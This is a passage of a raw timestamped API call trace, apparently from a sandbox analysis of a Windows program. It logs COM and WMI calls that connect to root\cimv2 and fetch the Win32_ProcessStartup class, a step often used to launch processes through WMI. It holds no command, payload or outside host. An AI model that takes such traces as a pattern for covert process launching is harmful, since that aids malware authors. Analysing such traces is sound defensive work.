Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0111.786] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0111.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0111.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0111.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d2660) returned 0x0 [0111.786] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2660, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.786] WbemDefPath:IUnknown:Release (This=0x1b4d2660) returned 0x3 [0111.786] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0111.786] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0111.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0111.786] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0111.786] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0111.786] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0111.787] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0111.787] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4af0a0) returned 0x0 [0111.787] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0111.787] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0111.787] WbemDefPath:IWbemPath:SetText (This=0x1b4af0a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0111.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af0a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0111.787] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0111.787] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.787] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0111.787] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0111.787] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0111.787] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.787] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d2820) returned 0x0 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2820, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0111.788] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2820, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d29c0) returned 0x0 [0111.788] WbemLocator:IUnknown:Release (This=0x1b4d2820) returned 0x0 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d29c0) returned 0x0 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0111.788] WbemLocator:IUnknown:AddRef (This=0x1b4d29c0) returned 0x3 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0111.788] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0111.788] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0111.788] WbemLocator:IUnknown:Release (This=0x1b4d29c0) returned 0x2 [0111.788] WbemLocator:IUnknown:Release (This=0x1b4d29c0) returned 0x1 [0111.788] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0111.788] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0111.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d29c0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d29c0) returned 0x0 [0111.788] WbemLocator:IUnknown:AddRef (This=0x1b4d29c0) returned 0x3 [0111.788] WbemLocator:IUnknown:Release (This=0x1b4d29c0) returned 0x2 [0111.789] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af0a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0111.789] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0111.789] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.789] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d27c0) returned 0x0 [0111.789] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d27c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x63be40) returned 0x0 [0112.204] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b4aced0) returned 0x0 [0112.204] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4aced0, pProxy=0x63be40, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0112.204] WbemLocator:IUnknown:Release (This=0x1b4aced0) returned 0x1 [0112.204] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b4acf18) returned 0x0 [0112.204] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b4aced0) returned 0x0 [0112.205] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4aced0, pProxy=0x63be40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0112.205] WbemLocator:IUnknown:Release (This=0x1b4aced0) returned 0x2 [0112.205] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x1 [0112.205] CoTaskMemFree (pv=0x1b461dc0) [0112.205] WbemLocator:IUnknown:Release (This=0x1b4d27c0) returned 0x0 [0112.205] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b4acf18) returned 0x0 [0112.205] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0112.210] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0112.226] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0112.255] WbemLocator:IUnknown:AddRef (This=0x1b4acf18) returned 0x3 [0112.255] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0112.255] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0112.255] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b4acdf8) returned 0x0 [0112.255] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4acdf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.255] WbemLocator:IUnknown:Release (This=0x1b4acdf8) returned 0x3 [0112.255] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0112.255] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0112.255] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b4acee0) returned 0x0 [0112.255] WbemLocator:IRpcOptions:Query (in: This=0x1b4acee0, pPrx=0x1b4acf18, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0112.255] WbemLocator:IUnknown:Release (This=0x1b4acee0) returned 0x3 [0112.255] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x2 [0112.255] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0112.255] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0112.255] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x63be40) returned 0x0 [0112.256] WbemLocator:IUnknown:AddRef (This=0x63be40) returned 0x4 [0112.256] WbemLocator:IUnknown:Release (This=0x63be40) returned 0x3 [0112.256] WbemLocator:IUnknown:Release (This=0x63be40) returned 0x2 [0112.256] SysStringLen (param_1=0x0) returned 0x0 [0112.256] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0112.256] WbemLocator:IUnknown:AddRef (This=0x1b4acf18) returned 0x3 [0112.256] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acf18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b4acf18) returned 0x0 [0112.256] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x3 [0112.256] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x2 [0112.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0112.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0112.256] IWbemServices:GetObject (in: This=0x63be40, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4ce630, ppCallResult=0x0) returned 0x0 [0112.280] IWbemClassObject:Get (in: This=0x1b4ce630, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0112.280] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0112.280] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0112.280] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0112.280] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0112.280] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0112.280] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.281] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d2940) returned 0x0 [0112.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2940, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0112.281] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2940, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4b0360) returned 0x0 [0112.281] WbemDefPath:IUnknown:Release (This=0x1b4d2940) returned 0x0 [0112.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4b0360) returned 0x0 [0112.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0112.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0112.282] WbemDefPath:IUnknown:AddRef (This=0x1b4b0360) returned 0x3 [0112.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0112.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0112.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d26a0) returned 0x0 [0112.282] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d26a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.282] WbemDefPath:IUnknown:Release (This=0x1b4d26a0) returned 0x3 [0112.282] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0112.282] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0112.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0112.282] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x2 [0112.282] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x1 [0112.282] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0112.282] CoGetContextToken (in: 